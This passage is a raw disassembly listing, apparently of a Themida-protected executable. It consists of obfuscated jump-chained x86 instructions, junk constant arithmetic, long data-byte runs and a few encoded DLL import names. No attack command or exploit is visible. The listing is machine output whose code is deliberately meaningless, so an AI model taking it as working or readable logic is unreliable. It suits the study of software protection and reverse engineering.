0FEEC2CE9h, 800BB3FFh, 0DD3062EBh, 0FF07FFE9h dd 190805FFh, 875D533Dh, 248B2404h, 48B6624h, 0CF02E924h dd 0EB81FFFEh, 3817556h, 0FF5340E9h db 0FFh ; --------------------------------------------------------------------------- loc_571EA9: ; CODE XREF: Themida_:00562909j sub ebp, esi add ebp, 41114C6Ah sub ebp, 396D26C8h pop esi mov edi, ebp mov ebp, [esp] jmp loc_563BF3 ; --------------------------------------------------------------------------- loc_571EC2: ; CODE XREF: Themida_:0056F79Cj mov esi, [esp] jmp loc_560BD6 ; --------------------------------------------------------------------------- dw 0C483h dd 8AC18004h, 0FF20F5E9h db 0FFh ; --------------------------------------------------------------------------- loc_571ED5: ; CODE XREF: Themida_:00570A27j pop edi pop edx xor esi, 512E5794h push esi push dword ptr [esp] jmp loc_56C740 ; --------------------------------------------------------------------------- dw 4B68h dd 5B92086Eh, 515BDD31h, 6E68B9B9h, 0F167E962h, 52ADFFFFh dd 0DD241EBAh, 0E9D6292Ah, 0FFFFDEC3h ; --------------------------------------------------------------------------- loc_571F08: ; CODE XREF: Themida_:0056D072j mov edi, 0D35383h or edi, 3FCE54F7h xor edi, 63FA796Ch push 2027h jmp loc_55E81E ; --------------------------------------------------------------------------- db 29h dd 2895DEAh, 5324148Bh, 0F3E9E389h db 23h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571F33: ; CODE XREF: Themida_:005728EAj push edx mov edx, 6AFF02C8h push edi mov edi, 6F3E5F93h sub edi, 0DA3D623Fh mov ebx, edi mov edi, [esp] add esp, 4 jmp loc_566826 ; --------------------------------------------------------------------------- db 81h, 0CEh, 66h dd 81400E65h, 9343ECEEh, 0BEFBE951h, 0EE81FFFFh, 1C5B56DCh dd 0E8E9F321h, 88FFFEF6h, 24048BE6h, 0FEEE23E9h db 0FFh ; --------------------------------------------------------------------------- loc_571F7D: ; CODE XREF: Themida_:00564682j shr eax, 10h xor eax, ecx jmp loc_56FF2A ; --------------------------------------------------------------------------- loc_571F87: ; CODE XREF: Themida_:0056C6ABj sub esi, 76687D93h xor ebp, esi pop esi push eax mov eax, 3D7013A3h sub ebx, eax mov eax, [esp] push edx mov edx, esp jmp loc_562EC4 ; --------------------------------------------------------------------------- loc_571FA3: ; CODE XREF: Themida_:00562DDBj shr eax, 8 push ebp jmp loc_56E6CB ; --------------------------------------------------------------------------- dd 6EFC147h, 3E3ABB53h, 0E38164F8h, 4ACC4542h, 0ECDBF57h dd 0F7811F27h, 298B74C6h, 6B2F781h, 0EFC14895h, 0BD555603h dd 56BD3C6Ch, 0FDC5E94Dh, 0EAC1FFFEh, 0E566E907h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571FE6: ; CODE XREF: Themida_:0056CF55j mov esi, 497B6778h sub esp, 4 mov [esp], eax mov eax, 7EDE7D6Fh and eax, 3B8827F8h jmp loc_562E6A ; --------------------------------------------------------------------------- dd 4EC81h, 4890000h, 4EC8324h, 52242C89h, 0C281E289h, 4 dd 759A6851h, 81594DE7h, 4C300BF1h, 0E5D9E909h, 835DFFFEh dd 148904ECh, 4EC8124h, 89000000h, 34B82404h, 4832607Dh dd 0E8C1D0F7h, 0E0B73502h, 81503367h, 29AE2404h, 34FF22ACh dd 0C4835A24h, 0AEEA8104h, 0FF22AC29h, 83582434h, 348904ECh dd 81E68924h, 4C6h, 0FBB5300h, 0D119817Ch, 0F2F381EBh dd 81326335h, 2A74A4EBh, 0C6C38178h, 43506930h, 0FEBCB3E9h db 0FFh ; --------------------------------------------------------------------------- loc_572091: ; CODE XREF: Themida_:00567829j pop eax xor esi, 7B2E4732h push 64Fh mov [esp], edi push 183Dh mov [esp], edx mov edx, 3BB60F2Ah and edx, 3787600h or edx, 13907ACFh inc edx jmp loc_56281E ; --------------------------------------------------------------------------- db 89h dd 7C295DEFh, 3C8B0424h, 4C48324h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, 3E6D2A76h and esi, 1E60728Ah shl esi, 1 push eax mov eax, 243C76A2h jmp loc_563614 ; --------------------------------------------------------------------------- db 81h dd 0F5201CEBh, 98BF5776h, 2913DCDAh, 0C2815FFBh, 3E665D38h dd 2B6EA81h, 0DA290C97h, 2B6C281h, 0EA810C97h, 3E665D38h dd 0FECC2EE9h, 348758FFh, 524EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_572122: ; CODE XREF: Themida_:00565017j mov ebp, 79A96840h mov edi, 0B2406853h sub edi, ebp pop ebp xor edi, 30993B85h push ecx mov ecx, 2EA1634Dh sub ecx, 0C34A056Bh xor edi, ecx pop ecx shr edi, 7 xor edi, 48122822h xor edi, 345BE169h mov edx, edi mov edi, [esp] add esp, 4 push esi jmp loc_5717A2 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0FEC860E9h, 71C781FFh, 29688903h, 84B5E9CFh, 0C529FFFFh dd 0FFE876E9h db 0FFh ; --------------------------------------------------------------------------- loc_57217D: ; CODE XREF: Themida_:005716C2j mov [esp], eax push 38h mov [esp], edx mov dh, cl mov ah, dh pop edx mov bh, ah jmp loc_565D14 ; --------------------------------------------------------------------------- dd 9DE9D3F7h db 0F6h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_57219B: ; CODE XREF: Themida_:005630D1j and eax, esi push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 shr eax, 8 xor eax, ecx xor eax, edx jmp loc_560707 ; --------------------------------------------------------------------------- dd 0E654D368h, 5F63E915h, 0C721FFFFh, 8124048Bh, 4C4h dd 4E7C100h, 0D872B850h, 0C7013A06h, 5F3AE958h, 0E951FFFFh dd 0FFFF99B8h, 24048966h, 0FEB100E9h, 59CF89FFh, 24048157h dd 3AF753A8h, 8B2434FFh, 0E957242Ch, 0FFFF1B71h ; --------------------------------------------------------------------------- loc_572204: ; CODE XREF: Themida_:00562FAEj sub esp, 4 mov [esp], ecx mov ch, 1Eh xor ch, 56h xor bh, ch mov ecx, [esp] add esp, 4 xor bh, 6 xor al, bh push dword ptr [esp] jmp loc_56A5A9 ; --------------------------------------------------------------------------- db 0C1h dd 0F78103E7h, 23135690h, 0CBEFEF81h, 0F8892879h, 0FF7058E9h db 0FFh ; --------------------------------------------------------------------------- loc_57223D: ; CODE XREF: Themida_:0056ECD5j add dword ptr [esp], 4 jmp loc_572AFD ; --------------------------------------------------------------------------- loc_572246: ; CODE XREF: Themida_:0056FB37j add edi, 4 add edi, 4 push edi push dword ptr [esp+4] jmp loc_567160 ; --------------------------------------------------------------------------- aBiWObis db '│К[WбO│КИ',0 dw 6677h dd 6F28B951h, 0D1410DC6h, 65E181E9h, 812AAF4Ch, 0FF490E9h dd 59CB01A3h, 725E68h, 24048900h, 0FB1CA3B8h, 0EAB95100h dd 13F8D22h, 0C32959C8h, 8B2434FFh, 0CBE92404h db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5722A3: ; CODE XREF: Themida_:00563FEAj push 450Bh mov [esp], esi jmp loc_56BD91 ; --------------------------------------------------------------------------- dd 0AE40E957h, 32E9FFFFh db 0B0h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5722BB: ; CODE XREF: Themida_:00565B16j mov edi, [esp] add esp, 4 xor ebx, 111C38FEh push eax push ecx mov ecx, 35653236h sub ecx, 7A19133Fh shl ecx, 6 xor ecx, 8E41C667h mov eax, ecx jmp loc_569380 ; --------------------------------------------------------------------------- db 81h dd 0F753A8EDh, 243C8B3Ah, 8904C483h, 99E95DE9h, 1FFFF17h dd 0EC5AE9C1h, 0BB7FFFEh, 0FE5BFC88h, 86C480CCh, 8858E388h dd 0C1805BD9h, 1C18010h, 0E980E128h, 10E98001h, 8BCB2858h dd 0C481240Ch, 4, 60BE9h db 0 ; --------------------------------------------------------------------------- loc_572331: ; CODE XREF: Themida_:00570C74j pop ebp push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp push ebp mov ebp, esp push edi mov edi, 209619DAh sub edi, 209619D6h add ebp, edi pop edi add ebp, 4 jmp loc_570CDC ; --------------------------------------------------------------------------- loc_572356: ; CODE XREF: Themida_:0056E440j sub [esp+4], esi push eax mov eax, 31B10174h add [esp+8], eax pop eax add dword ptr [esp+4], 45B04FB4h add dword ptr [esp+4], 40214940h mov esi, [esp] jmp loc_56235E ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 0FFFEBFC2h, 2B85059h, 0E9000000h, 0FFFFE6FBh ; --------------------------------------------------------------------------- loc_572394: ; CODE XREF: Themida_:005604DCj sub esp, 4 mov [esp], ebp mov ebp, 4 sub edx, 380596Eh jmp loc_55D588 ; --------------------------------------------------------------------------- db 81h, 0E9h, 47h dd 5A77713Fh, 5C240C87h, 1BA168h, 241C8900h, 57BD68h, 242C8900h dd 0ED587FBDh, 5DEB891Ch, 1EB81h, 0CB810000h, 1E152FD4h dd 2E06F381h, 41E96AEFh, 1FFFF4Ch, 3A902DF8h, 0EF052C1Fh dd 2D42283Eh, 55FF2D01h, 0E92434FFh, 0FFFFCBA9h, 0FFE8285Bh dd 1E92434h, 0BAFFFFCEh, 565041AEh, 0FFF8E3E9h, 81E189FFh dd 4C1h, 4E98100h, 0E9000000h, 0FFFEF8B8h, 0E92434FFh dd 0FFFF6A46h, 0F1EE8166h, 0DEF76648h, 0FF0103E9h, 24048FFFh dd 0ECE9h, 36CCBD00h, 7AE962F4h, 0BBFFFF86h, 573628BCh dd 4304E3C1h, 0C381434Bh, 0F8BAB14Eh, 0FFD417E9h, 6859FFh dd 52000000h, 380437BAh, 0D0B95151h, 132637Ch, 5908244Ch dd 4246C81h, 69B55F9Ch, 4245429h, 4244481h, 69B55F9Ch dd 4246C81h, 32637CD0h, 0E6D9E95Ah, 0BA52FFFEh, 0F283187h dd 4245429h, 5324148Bh, 241C8B54h, 5E08950h, 4, 405h, 24048700h dd 4C3815Ch, 83000000h, 3C8904ECh, 4BF24h, 0FB290000h dd 0FF6D29E9h, 2EC83FFh, 24148966h, 0D3288EB2h, 24148B66h dd 0E902C483h, 0FFFFCFF5h ; --------------------------------------------------------------------------- loc_5724F0: ; CODE XREF: Themida_:0055D36Dj not edx jmp loc_570459 ; --------------------------------------------------------------------------- db 89h dd 4C181E1h, 0E9000000h, 0FFFFD607h, 93A22D48h, 0C589B0CAh dd 31CD8158h, 0E9275265h, 0FFFF7CACh ; --------------------------------------------------------------------------- loc_572518: ; CODE XREF: Themida_:005681F8j push ecx mov ecx, 60045C29h jmp loc_565DE9 ; --------------------------------------------------------------------------- loc_572523: ; CODE XREF: Themida_:00564041j sub dl, 0FFh sub esp, 2 jmp loc_565A00 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 9C240428h, 0FEADB0E9h, 0DAF75AFFh, 36EEE281h, 0C2812D54h dd 1FD5553h, 0C281E2D1h, 0A97D4912h, 6E16E981h, 0D1016847h dd 6E16C181h, 515A6847h, 42474FFh, 24048F59h, 2404015Ch dd 1E7968h, 0DD29E900h, 0D2BFFFFEh, 0F760E564h, 0A8EF81D7h dd 1A96491h, 243C8BFEh, 4C481h, 0F0890000h, 246C815Eh dd 2D189F04h, 38DAE922h, 69B4FFFFh, 0C005ECC0h, 0E48002E4h dd 32CC8011h, 0E942EC80h, 0FFFF3896h, 0F383E95Bh, 20BEFFFEh dd 0F7755953h, 794BE9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5725CA: ; CODE XREF: Themida_:0056C3B1j pop ebx mov ebp, eax jmp loc_55F91E ; --------------------------------------------------------------------------- loc_5725D2: ; CODE XREF: Themida_:005683E3j shr edi, 5 shl edi, 5 neg edi sub edi, 0E272C29Ch xor ebp, edi pop edi jmp loc_563F86 ; --------------------------------------------------------------------------- dd 8B2414F7h, 0E956243Ch, 0FFFF4D38h, 81E38953h, 4C3h dd 3CE95200h, 81FFFECAh, 0F61E5E6h, 0CB0CE921h, 0E95CFFFEh dd 0FFFEBB4Fh, 0A9F6814Eh, 814A7E20h, 64491CF6h, 0E9F28947h dd 0FFFFC71Eh ; --------------------------------------------------------------------------- loc_572628: ; CODE XREF: Themida_:00565B61j push 6383482h pop ecx jmp loc_562FB3 ; --------------------------------------------------------------------------- db 5Ah dd 4B21E581h, 0FFE9799Eh, 0B2FFFFA2h, 0FEF280FBh, 2C5AD000h dd 0FF292C29h, 1C8B2434h, 0F70CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_572656: ; CODE XREF: Themida_:0056A423j pop esi push edi mov edi, 4 add esi, edi pop edi push 6A92h mov [esp], eax mov eax, 4 sub esi, eax jmp loc_564052 ; --------------------------------------------------------------------------- dd 45A8804h, 4E5EE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57267E: ; CODE XREF: Themida_:0056B61Aj mov esp, [esp] jmp loc_56833A ; --------------------------------------------------------------------------- dw 0C501h dd 0D52FE956h, 2C33FFFFh, 1F045C24h, 0FFDF3FE9h, 15F0B9FFh dd 0CB294F28h, 0D3BA5259h, 0E941D616h, 0FFFECB33h ; --------------------------------------------------------------------------- loc_5726AC: ; CODE XREF: Themida_:0056C6CFj mov [esp], ebp sub esp, 4 mov [esp], edi mov edi, 6D8E152Ah xor edi, 61E66E20h jmp loc_56728F ; --------------------------------------------------------------------------- db 89h, 0E1h, 0E9h dd 0FFFF2C6Fh, 4EC81h, 3C890000h, 81E78924h, 4C7h, 4EF8300h dd 5C243C87h, 0E9242489h, 0FFFF1365h ; --------------------------------------------------------------------------- loc_5726EC: ; CODE XREF: Themida_:0056CA85j add esp, 4 push ebp jmp loc_563B05 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 293FDCBFh, 5FFE2914h, 0E924048Bh, 0FFFECA39h ; --------------------------------------------------------------------------- loc_572708: ; CODE XREF: Themida_:00563DCCj add ebp, 0B264C717h sub edi, 10D16526h add edi, ebp jmp loc_566C76 ; --------------------------------------------------------------------------- loc_57271B: ; CODE XREF: Themida_:0056A438j pop eax pop edx and ecx, esi push dword ptr [esp] mov esi, [esp] push eax mov eax, esp jmp loc_55DBE4 ; --------------------------------------------------------------------------- loc_57272D: ; CODE XREF: Themida_:0056C400j mov edi, 11BE2C9Dh jmp loc_56C147 ; --------------------------------------------------------------------------- db 89h dd 4C681E6h, 83000000h, 348704EEh, 1C895C24h, 68E38924h dd 3DDh, 0E9241489h, 0FFFF770Fh, 0EC81D301h, 4, 0E9240489h dd 0FFFECC50h, 83242C8Bh, 9BE904C4h db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_572773: ; CODE XREF: Themida_:0055F783j mov ecx, esp push 0A34h mov [esp], ebp mov ebp, 17874D0Dh push 5F9Fh mov [esp], ebp push ebx push dword ptr [esp+4] jmp loc_56B1FB ; --------------------------------------------------------------------------- dd 335AD329h, 1C31241Ch, 241C3324h, 6624248Bh, 0E9240C89h dd 0FFFFD473h ; --------------------------------------------------------------------------- loc_5727AC: ; CODE XREF: Themida_:005679B2j mov ebp, [esp] add esp, 4 add ebp, 4 push edx mov edx, 4 add ebp, edx jmp loc_56684B ; --------------------------------------------------------------------------- db 0C0h, 0EBh, 7 dd 80A0F380h, 0EBC086EBh, 0D5C38007h, 28CBB050h, 0D80058C3h dd 782EE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5727E2: ; CODE XREF: Themida_:00570463j add ebp, 4 xchg ebp, [esp] jmp loc_56C7E5 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 0FECFE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5727F6: ; CODE XREF: Themida_:0055DF14j add eax, 3D192096h shl eax, 6 jmp loc_55D30A ; --------------------------------------------------------------------------- loc_572803: ; CODE XREF: Themida_:0055FA5Ej push esi jmp loc_56B15B ; --------------------------------------------------------------------------- loc_572809: ; CODE XREF: Themida_:0056B5A4j mov edi, 47F722DEh jmp loc_55DB9F ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4C28300h, 0FEB046E9h, 4EC83FFh, 89241C89h, 4C381E3h dd 81000000h, 4C3h, 241C8700h, 24048F5Ch, 0E924248Bh, 0FFFF8571h ; --------------------------------------------------------------------------- loc_572844: ; CODE XREF: Themida_:005649C3j xchg ebx, [esp] pop esp add eax, 0BCC00B3h add eax, esi sub eax, 0BCC00B3h pop esi push ebp push 4BF0h mov [esp], esi push eax mov eax, 413D1085h jmp loc_572A14 ; --------------------------------------------------------------------------- db 59h, 0F7h, 0D1h dd 0FF796EE9h, 8EBC1FFh, 3D0CF381h, 0A2E90622h db 0Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57287F: ; CODE XREF: Themida_:005689DAj xchg eax, [esp] mov esp, [esp] and [esp], eax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- dw 0C181h dd 0D4999B43h, 84E9CE01h, 29FFFFC1h, 0AFF3E9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5728A2: ; CODE XREF: Themida_:0056DBF8j pop ebx push edi mov edi, esp jmp loc_56507E ; --------------------------------------------------------------------------- db 57h dd 50E0BE56h, 0F7891329h, 0E9F8015Eh, 0FFFF9806h, 5277B6B9h dd 59CF2906h, 12CEB951h, 0EF814624h, 33ED22B0h, 0FF4E04E9h db 0FFh ; --------------------------------------------------------------------------- loc_5728D5: ; CODE XREF: Themida_:0055F450j xor [esp], eax xor eax, [esp] pop esp add esp, 4 shr ecx, 7 push 4D08h mov [esp], ebx jmp loc_571F33 ; --------------------------------------------------------------------------- db 81h dd 180424EFh, 55E7816Bh, 55609272h, 0C52CDDBDh, 5DEF313Dh dd 0CD04E956h, 0C281FFFEh, 0C6DEBFB6h, 7C4EEB81h, 89515532h dd 4C181E1h, 81000000h, 4E9h, 240C8700h, 0FF916DE9h db 0FFh ; --------------------------------------------------------------------------- loc_57292D: ; CODE XREF: Themida_:005662C8j mov bl, dh pop edx push dword ptr [esp] pop ecx add esp, 4 jmp loc_56D8BC ; --------------------------------------------------------------------------- dd 80D2EB80h, 0C32828C3h, 8028EB80h, 43E9D2C3h, 68FFFF7Fh dd 0DC0h, 89241489h, 4C281E2h, 56000000h, 0E73296BEh, 76B85036h dd 0F70A6056h, 4BB3E9D0h, 0CE20FFFFh, 0EEC05966h, 2EE8007h dd 0E9BDEB80h, 0FFFF6006h, 31241C33h, 1C33241Ch, 5707E924h dd 483FFFFh, 0F3E90424h db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57299B: ; CODE XREF: Themida_:00569A51j push ebx mov ebx, 62E878BEh sub edi, ebx mov ebx, [esp] add esp, 4 jmp loc_55F37D ; --------------------------------------------------------------------------- db 55h, 0BDh, 0E1h dd 8108167Eh, 0BF7C44EDh, 5CE4E9A7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5729C2: ; CODE XREF: Themida_:00571D0Bj pop ebp mov esi, [esp] add esp, 4 pop edi sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp jmp loc_55D560 ; --------------------------------------------------------------------------- dd 0EE81D6F7h, 3446190Dh, 0E906E6C1h, 0FFFEBC20h ; --------------------------------------------------------------------------- loc_5729EC: ; CODE XREF: Themida_:0056E770j add edx, 4 push edx jmp loc_56E833 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 61EBE924h, 15AFFFFh, 0BB535BDDh, 0F1521BCh, 0FFF787E9h dd 0E95B54FFh, 0FFFF6624h ; --------------------------------------------------------------------------- loc_572A14: ; CODE XREF: Themida_:00572864j xor eax, 25893294h dec eax neg eax shl eax, 7 jmp loc_561FFE ; --------------------------------------------------------------------------- dd 34FFC501h, 89565824h, 0A9BFE9E6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_572A32: ; CODE XREF: Themida_:00567566j mov edx, [esp] add esp, 4 sub dword ptr [esp+4], 1B23C70h jmp loc_561036 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0FFFECC1Bh ; --------------------------------------------------------------------------- loc_572A50: ; CODE XREF: Themida_:00562FCFj pop ebx sub ecx, esi jmp loc_5651E3 ; --------------------------------------------------------------------------- dd 0FE68h, 242C8B00h, 4C481h, 6F210000h, 2434FF1Ch, 4EC835Dh dd 89240C89h, 4C181E1h, 81000000h, 4E9h, 240C8700h, 8924248Bh dd 1368240Ch, 54000018h, 5124048Fh, 0FFDA8BE9h, 2BEB81FFh dd 81B31A5Eh, 472010EFh, 0CE2BE941h, 0C281FFFEh, 37E836F3h dd 592434FFh, 4C481h, 0C2830000h, 0B083E902h, 0BDBAFFFEh dd 0F70FE64Ch, 2EAC1D2h, 71C2814Ah, 1C95A0Dh, 2434FFD3h dd 4C4835Ah, 0FFFC77E9h, 34F324FFh, 8BC388BBh, 46E92404h db 86h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_572AEF: ; CODE XREF: Themida_:00571108j push ebp jmp loc_570E0A ; --------------------------------------------------------------------------- db 52h, 89h, 0E2h dd 0FF502AE9h db 0FFh ; --------------------------------------------------------------------------- loc_572AFD: ; CODE XREF: Themida_:00572241j pop eax add eax, 4 jmp loc_56549F ; --------------------------------------------------------------------------- dd 52C3295Ch, 0D55131BAh, 0E9D3293Dh, 0FFFFD78Bh ; --------------------------------------------------------------------------- loc_572B18: ; CODE XREF: Themida_:00562AAFj pop edx push cx mov ch, 0D0h sub al, ch pop cx add bl, al pop eax push eax mov ah, 0C5h and ah, 0ADh jmp loc_56CE15 ; --------------------------------------------------------------------------- db 83h dd 506604C4h, 5232B353h, 0FED5FAE9h, 0E08950FFh, 0FEE646E9h db 0FFh ; --------------------------------------------------------------------------- loc_572B45: ; CODE XREF: Themida_:0055FE92j or edx, eax shl edx, 1 push dword ptr [edi+24h] sub esp, 4 jmp loc_562DE0 ; --------------------------------------------------------------------------- dd 56E9h, 0FDB4D900h, 45535507h, 2E323352h, 6C6C64h, 41564441h dd 32334950h, 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D7006C6Ch dd 1000A07h, 0A001D00h, 14000700h, 3D800h, 7 dup(0) dd 0E9000000h, 8F0h, 16A0B168h, 0DE41E906h, 3468FFFDh dd 0E90616A1h, 0FFFDDE37h, 16A26F68h, 0DE2DE906h, 0B668FFFDh dd 0E90616A3h, 0FFFDDE23h, 16A42468h, 0DE19E906h, 3C68FFFDh dd 0E90616A5h, 0FFFDDE0Fh, 16A5B968h, 0DE05E906h, 0AF2DFFFDh dd 0F2E1BE10h, 369C79CBh, 7F563385h, 0CC0BE83Ah, 52669FF1h dd 0F244795Eh, 0ABFDBC15h, 63B50ACEh, 196B5086h, 997F850Dh dd 0AD580887h, 0E2552CB2h, 0AE0DC9EBh, 9553AA02h, 0FDE41392h dd 63D170D1h, 226D73BBh, 0F057E502h, 441127C8h, 257D2992h dd 1FD7B2F6h, 0D13F91BFh, 0B8DFE52Dh, 4E37D350h, 0BD556471h dd 32970511h, 0CDD31BA0h, 37F430E7h, 0F33BD3FBh, 0E76BF8EDh dd 844D2A3Dh, 99318935h, 69528451h, 1F9C3A17h, 0A50EA441h dd 23311B58h, 765h, 54A619C3h, 0F615C77h, 0C91BA032h, 7ED0E9ECh dd 358736A1h, 0E3F4BCFCh, 26AB88DAh, 74644193h, 0BA1CF94Bh dd 1BA3AF01h, 8882F15h, 0E1484358h, 4BF7C412h, 0E52DD13Fh dd 0E831171Dh, 1D4551F1h, 82E2E8EEh, 8A57E686h, 993D48A3h dd 0C8604040h, 9A25B380h, 6E4D8552h, 86522F3Fh, 0CF5F127Ah dd 0C1595CCBh, 3DCE0815h, 8A45137h, 0E63D6558h, 0DD128131h dd 5735CD6Ch, 3EA58798h, 0E243513Bh, 46000006h, 0FAD72996h dd 0B592E4D9h, 6F4C9E1Dh, 24015366h, 7FB80AB3h, 5D607739h dd 16A32E0Bh, 0CEF1E7C4h, 84379F7Ch, 989E2632h, 580888B2h dd 1264CBC6h, 3E4BF7C4h, 13DB2398h, 0E85F454Bh, 4B7351F1h dd 0F1E7DFC5h, 0C216F351h, 0CC3665FDh, 0F8A417BFh, 25D1ECEBh dd 6C4D0DF1h, 0AF420014h, 1AC6F3E2h, 3E2793C2h, 0C0FEEDEEh dd 53h, 0F7C412D7h, 4017ECA5h, 45E03907h, 1F86DDA9h, 0C397F4C8h dd 0C2A4E817h, 4C51F209h, 39FFB875h, 2E5DDAC3h, 0B608B323h dd 0C20F6CDAh, 5BF34BF7h, 7E3B0D13h, 0FF2757E5h, 0D1EEEAB7h dd 70D0A77Fh, 1F9A3B1Eh, 84EA2CC8h, 318E4A55h, 6237785h dd 12CE0000h, 434BF7C4h, 0B4605D76h, 0B5232D5Ch, 0A8BBC109h dd 9457E510h, 0FFAB0EC7h, 0CCF478A7h, 2C10AD84h, 9F48D4D1h dd 81D98538h, 0CDAABAE9h, 9D6AB209h, 0D2DA8635h, 5FFE6CCh dd 3AD2FA58h, 0B11FFB0Bh, 7445905Dh, 4EA70C8h, 18580600h dd 8B2EA3F0h, 2AA5ABF3h, 585DFAA0h, 0BD1BE830h, 5D3B002h dd 2F060EBAh, 0C26762FEh, 283362CBh, 0CA2F0DAEh, 1D3890FCh dd 5A72533h, 5B810000h, 9E351264h, 0E2F0CD1Fh, 2BAA87D9h dd 785F3C8Eh, 0FEBAF345h, 469825B2h, 0FF516869h, 0B709B622h dd 6DBFFCDAh, 0EDD3D961h, 1580889h, 0C4129F06h, 983E4BF7h dd 6B6A7723h, 949AA24Eh, 51F1E7AEh, 864D9AC2h, 587E8B37h dd 0AD5FB763h, 50A80949h, 0AEAD1E3Ch, 1251F1E9h, 0EDF00264h dd 0FED4FEFEh, 1715FFFFh, 832F8C4Ah, 0E78F757Bh, 7BA351F1h dd 2DA9B4E3h, 15C1F8D9h, 6D7925BDh, 3F074FFFh, 0F1E85339h dd 4D8A6751h, 0A3A9D870h, 0E53B3A9Dh, 666B4857h, 0B74FA753h dd 731B8965h, 4F66252Bh, 0C39A5DF9h, 0CEB9C928h, 0B73B6AF1h dd 0BA9DE38Fh, 0C75E19F6h, 77EEE5A5h, 0E7F2C5DEh, 0A8A2710h dd 6F9AF1CEh, 0F65C8BB5h, 181h, 6B521EEh, 0ECD3025Ah, 63D170D1h dd 573D430Bh, 6B51F1E8h, 0E7D7BD43h, 746451F1h, 0C55D854Bh dd 2294A67Dh, 0B5615C77h, 0C599065Dh, 0FE040A39h, 57E523B3h dd 0BDA3A981h, 0D1580623h, 144337EAh, 6B034CE3h, 3DE32D3h dd 6B91BFB0h, 30951FDh, 37D3E0DCh, 929E4A72h, 2E347C24h dd 3DE7FC39h, 2EFB436Bh, 457A5EA8h, 587E5BADh, 7E7E8563h dd 937D58A4h, 46085h, 0AB14C800h, 66577C59h, 209B3714h dd 0D5E4F1CEh, 8C31A683h, 0F9B7013Ah, 0B08DDFDEh, 69469821h dd 21FE506Fh, 0A8B406B5h, 8B341A20h, 4D485808h, 8C4A17E6h dd 88F6002Fh, 0C2C890D8h, 51F1E7DCh, 9399C8F0h, 0E2D7FECBh dd 87E76FB3h, 72F57E6h, 0D9E6F2BFh, 912EAA87h, 0FEFED8E5h dd 95B73F2Ah, 95730B49h, 3EA56B78h, 0F29FAD97h, 36000003h dd 0EAC719A6h, 0A582D4E9h, 5F3C8E2Dh, 14F14376h, 6FA8FAC3h dd 4D706749h, 6B31EFBh, 0BE01D7B4h, 74478F6Ch, 888E1622h dd 58088BA2h, 1254BBB6h, 0E2AFF7C4h, 2E98C7F4h, 5A06B521h dd 88348B4Dh, 24AD5D7Bh, 0DB51FD95h, 7ED6DB77h, 2E8EEB6h dd 8551F1E8h, 0FD25F1CCh, 254D13E2h, 15E6A4F6h, 51F2AB16h dd 2E9ACC7Ah, 1366FEEDh, 7DFFFFFDh, 32874A17h, 0DDDEF803h dd 52B72531h, 79903C81h, 890999E8h, 0F78F27B2h, 0B81AE7AFh dd 0D0FF5703h, 0E56A9D8Ch, 398BB357h, 0CC79D180h, 9D6AB25Eh dd 7ED68239h, 0B481494Fh, 0D1E8E91Fh, 8935CD25h, 0B6625B7Ch dd 5397C65Eh, 57E50208h, 0B90DAED6h, 0FFFA95ADh, 1D650977h dd 10A6F017h, 363C0406h, 6318750h, 6D508764h, 0FA22A6D5h dd 0FEE4EAB2h, 12063186h, 4551BBEAh, 0D9DF27D7h, 0C24C1E4h dd 0D9A6EE16h, 9F76BEFDh, 3B581689h, 1F050B1Ch, 330C45C3h dd 3444730Bh, 5E3C7F57h, 8A67B7B9h, 0DA72806Ah, 4E000002h dd 2DF318Eh, 0BD9AECD1h, 7754A615h, 2C095B5Eh, 87C012ABh dd 65587F31h, 1E9B3613h, 0D6E9EFCCh, 8C2FA784h, 0A0A62E3Ah dd 58088CBAh, 136CD3CEh, 0ABB1F9A5h, 57E68829h, 3D054D75h dd 8875137h, 0E3D6558h, 639D3B08h, 0B6C138E0h, 765C6234h dd 8A5808BCh, 0EA32CA62h, 64488513h, 7C823592h, 5808BB96h dd 0BBEA82AAh, 0B50ACEABh, 0E1DAFC09h, 0A4BF1E03h, 212F193Eh dd 25Dh, 5CAE11CBh, 1769547Fh, 0D123983Ah, 86D8E1F4h, 3D8F2EA9h dd 0DBFCB404h, 1EB390E2h, 6C6C499Bh, 0B2240153h, 23ABB709h dd 88D371Dh, 0E9504B58h, 0B1F9A513h, 0E68829ABh, 54D7557h dd 0CB1D9E38h, 97301CF3h, 8AE1DCFBh, 0C210C6E5h, 283261F9h dd 0FECB13BBh, 0AEB4E3D8h, 88CB8A8h, 0CB8E058h, 9DE5D8FFh dd 8CE9CFD5h, 0D5FD5808h, 41704988h, 0A23590D7h, 80EDC91Bh dd 0C5B38AD2h, 9381A4EDh, 0E6ECF221h, 580856E8h, 3B48F41Ch 